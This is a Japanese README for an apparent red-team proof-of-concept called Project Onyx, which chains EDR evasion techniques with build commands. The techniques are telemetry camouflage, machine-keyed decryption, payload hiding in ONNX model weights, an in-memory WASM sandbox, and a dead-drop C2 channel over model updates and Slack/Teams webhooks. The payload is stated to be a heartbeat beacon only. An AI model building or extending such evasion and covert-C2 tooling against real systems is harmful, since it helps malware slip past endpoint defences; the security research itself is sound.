
AIテレメトリ・スプーフィングとWASMサンドボックスによる高度なEDR回避。Project Onyxは、最新のEDRシステムに対する高度な回避技術を実証するために設計されたPoCレッドチームパイプラインです。従来のシグネチャベースの難読化から、行動的カモフラージュと厳格な環境キーイングへと移行します。

AIテレメトリ・スプーフィングとWASMサンドボックスによる高度なEDR回避。Project Onyxは、最新のEDRシステムに対する高度な回避技術を実証するために設計されたPoCレッドチーム・パイプラインです。従来のシグネチャベースの難読化から、行動カモフラージュと厳格な環境キーイングへと軸足を移しています。
このプロジェクトは、型にはまらない多層実行パイプラインを研究する、概念実証(PoC)レッドチーム研究です。このアーキテクチャは、AIテレメトリ・カモフラージュ、ハードウェア連動型の環境キーイング、ONNXウェイト・ステガノグラフィ、インメモリWebAssemblyサンドボックス、ダウンリンクモデル更新によるDead-Drop C2という5つの異なる技術を連結し、単一の機能的な配信チェーンを構成します。
Project Onyxは、本番EDRシステムの実用的なバイパスを主張するものではありません。これはアーキテクチャのスケッチです。各コンポーネントはチェーンの一部として実装され機能しますが、各レイヤーが実際の防御に対して意味を持つには、それぞれ専用の研究が必要です。Project Onyxは、その種の探索のための構造化された出発点として理解するのが最適です。 ランタイムペイロードは意図的にハートビートビーコンに限定されており、破壊的または侵害後(post-exploitation)の動作を同梱することなく、パイプライン全体を調査できます。
onnxruntimeを使用して実際のテンソル推論ワークロードを繰り返し実行します。これにより、ONNXアーティファクトは、以前の小さなMLPのような装飾的なファイルではなく、パイプラインのアクティブな一部となります。MachineGuid、Volume Serial Number、および現在のユーザーのSIDのSHA-256ハッシュから動的に導出されます。wasm3インタプリタを使用して完全にインメモリで実行されます。ホストC++アプリケーションは単なるローダー兼APIブリッジとして機能し、安全なホスト関数をWASMサンドボックスに公開します。float32 ONNXウェイトの仮数部の最下位ビット(LSB)に埋め込まれます。ホストは埋め込まれたモデルバイトからこのウェイト・ヴォールトを抽出して認証し、その後に初めてデモ鍵素材を復元します。heartbeat_ackとset_statusディレクティブのみを厳格に受け入れ、任意のコマンド実行を有効にせずにチャネルの実現可能性を実証します。
完全なエンドツーエンドの技術スケッチについては、docs/architecture.mdを参照してください。(理解を深めるために推奨します。)
また、プロセス全体(私が犯したミス、途中で検討したコンセプトやアイデア、Project Onyxの構築中に直面したアーキテクチャ上のトレードオフ)は、Medium をご覧ください。
このプロジェクトは、教育目的、セキュリティ研究、および許可されたレッドチーム運用のためだけに作成されています。
このリポジトリ(Project Onyx)で実証されている技術は、セキュリティ専門家が高度な回避方法を理解し、エンドポイント防御(EDR/XDR)を改善するのに役立つことを目的としています。
このソフトウェアを、自分が所有していない、または明示的な書面によるテスト許可を得ていないシステムやネットワークで使用しないでください。
このプロジェクトの作者(X-3306)は、このソフトウェアの使用によって引き起こされた誤用、損害、または違法行為について一切の責任を負いません。このコードをダウンロード、コンパイル、または使用することにより、あなたは自分の行動に対して全責任を負うことに同意したものとみなされます。
DiagnosticsTool.cpp - C++ WindowsホストとWasm3/ONNX統合。DiagnosticsTool.rc / resource.h - 生成されたアセットのリソースバインディング。build.py - フィンガープリント取得、ONNXベイト生成、ウェイト・ヴォールト埋め込み、メタデータ・ヴォールト互換性、ダウンリンクモデル更新によるDead-Drop C2、WASM暗号化のためのヘルパー。wasm_license_module/ - WebAssemblyハートビートモジュール用のRustソース。wasm3/source/ - CMakeビルドに必要な最小限のベンダリング済みWasm3ソース。assets/README2.md - 生成されたアセットの形式。docs/architecture.md - 完全なランタイムチェーンとアーキテクチャに関するメモ。ビルド前にWindowsに以下をインストールしてください:
Pythonの依存関係:
py -m pip install onnx numpy cryptography
Rustターゲット:
rustup target add wasm32-unknown-unknown
CMakeファイルは、./onnxruntimeにONNX Runtimeのソース/ビルドツリーがあることを想定し、以下の静的コンポーネントライブラリをリンクします:
onnxruntime/build/Windows/Release/Releaseonnxruntime/build/Windows/Release/vcpkg_installed/x64-windows-static-md/libVS 2022用の開発者PowerShellから、ONNX Runtimeを次のようにビルドします:
git clone --recursive https://github.com/microsoft/onnxruntime.git onnxruntime
.\onnxruntime\build.bat --config Release --parallel --compile_no_warning_as_error --skip_tests --build_shared_lib --use_vcpkg --cmake_extra_defines VCPKG_TARGET_TRIPLET=x64-windows-static-md onnxruntime_BUILD_UNIT_TESTS=OFF
生成されたonnxruntime.dllはProject Onyxには同梱されません。Project Onyxは静的コンポーネントの.libファイルをリンクするため、最終実行ファイルのdumpbin /DEPENDENTSにはonnxruntime.dllが表示されないはずです。
現在のWindowsデバイスのフィンガープリントハッシュを取得します:
python build.py fingerprint --show-components
2番目に出力される行を--trigger値として使用します。
Rust WebAssemblyモジュールをビルドします:
cargo build --manifest-path wasm_license_module/Cargo.toml --target wasm32-unknown-unknown --release
assets/model.onnxとassets/license_module.wasm.aesを生成します:
python build.py build `
--trigger "<64-char lowercase fingerprint hash>" `
--secret "<exactly-32-demo-key-chars>" `
--model-output assets/model.onnx `
--wasm-input wasm_license_module/target/wasm32-unknown-unknown/release/wasm_license_module.wasm `
--wasm-output assets/license_module.wasm.aes
ONNXヴォールトを検証します:
python build.py verify --trigger "<64-char lowercase fingerprint hash>" --model assets/model.onnx
検証コマンドは、レガシーのメタデータ・ヴォールトと隠しONNXウェイト・ヴォールトの両方をチェックします。両方とも同じ32文字のデモ鍵素材をロック解除できなければなりません。
デフォルトのキャリアはSqueezeNet 1.0 opset 12です:
onnxmodelzoo/squeezenet1.0-12assets/base/squeezenet1.0-12.onnxdata_0、float[1, 3, 224, 224]softmaxout_1、float[1, 1000, 1, 1]同梱のベースモデルを取得または検証します:
python build.py fetch-model
build.py buildはこの実モデルをコピーし、Project Onyxメタデータを追加し、認証済みONNXウェイト・ヴォールトをfloat32イニシャライザのLSBに埋め込み、最終的なリファレンスモデルをassets/model.onnxに書き込みます。
追加のダウンリンクは、通常のONNXモデル更新が認証済みの小さな制御信号を単純なPoCとして運べるかどうかをテストするための研究拡張です。これは意図的に2つの安全なディレクティブに制限されています:
heartbeat_ack - ランタイムのハートビートステータスをheartbeat_ackに変更します。set_status - ランタイムのハートビートステータスを、lab_downlink_ackなどのオペレータが選択した安全な文字列に変更します。ラボ用更新モデルを作成します:
python build.py downlink-build `
--trigger "<64-char lowercase fingerprint hash>" `
--reference-model assets/model.onnx `
--output assets/downlink_update.onnx `
--command set_status `
--status lab_C2_test `
--expires-unix 4102444800 `
--cover-seed 2026 `
--cover-fraction 0.08 `
--cover-noise-scale 0.00004
使用前に検証します:
python build.py downlink-verify `
--trigger "<64-char lowercase fingerprint hash>" `
--reference-model assets/model.onnx `
--model assets/downlink_update.onnx
raw HTTPSモデルアーティファクト(公開リリースアセットなど)を指定します:
$env:PROJECT_ONYX_DOWNLINK_MODEL_URL = "https://huggingface.co/<profile>/<repo>/resolve/main/downlink_update.onnx"
.\build\Release\ProjectOnyx.exe
またはSlack/TeamsのWebhookを使用します:
Project Onyxは実際のWebhook URLを埋め込んでいません。許可されたラボ実行の場合は、以下を設定してください:
変数はProjectOnyx.exeを起動するプロセスから参照できる必要があります。実行ファイルをダブルクリックする場合は、先にユーザーまたはシステム環境変数として設定し、新しいターミナルを開くかExplorerを再起動してから、ローカルの更新モデルを使用してネイティブホストを実行します:
$env:PROJECT_ONYX_DOWNLINK_MODEL_PATH = "$($PWD.Path)\assets\downlink_update.onnx"; $env:PROJECT_ONYX_SLACK_WEBHOOK_URL = "https://hooks.slack.com/services/..."; .\build\Release\ProjectOnyx.exe
(Teamsも使用できます)
ランタイムは起動時に1回だけフェッチ/読み取りを実行します。ポーリング、永続化、ダウンロードしたコードの実行、任意のコマンドの処理は行いません。無効、期限切れ、無関係、または認証されていないモデル更新は無視されます。
ランタイム検証用の調整項目:
$env:PROJECT_ONYX_ONNX_TELEMETRY_PASSES = "24"
$env:PROJECT_ONYX_REQUIRE_ONNX_TELEMETRY = "1"
$env:PROJECT_ONYX_LAB_OUTPUT_PATH = "$($PWD.Path)\assets\lab_heartbeat.json"
PROJECT_ONYX_ONNX_TELEMETRY_PASSESは、ヴォールトのロック解除パスが続行する前に実行される実際のONNX Runtime推論の回数を制御します。PROJECT_ONYX_REQUIRE_ONNX_TELEMETRY=1はテレメトリの失敗をハード障害に変換します。これはONNXステージがスキップされていないことを検証する際に役立ちます。PROJECT_ONYX_LAB_OUTPUT_PATHは、Webhookを必要とせずにラボ検証用の最終ハートビートJSONをローカルファイルに書き込みます。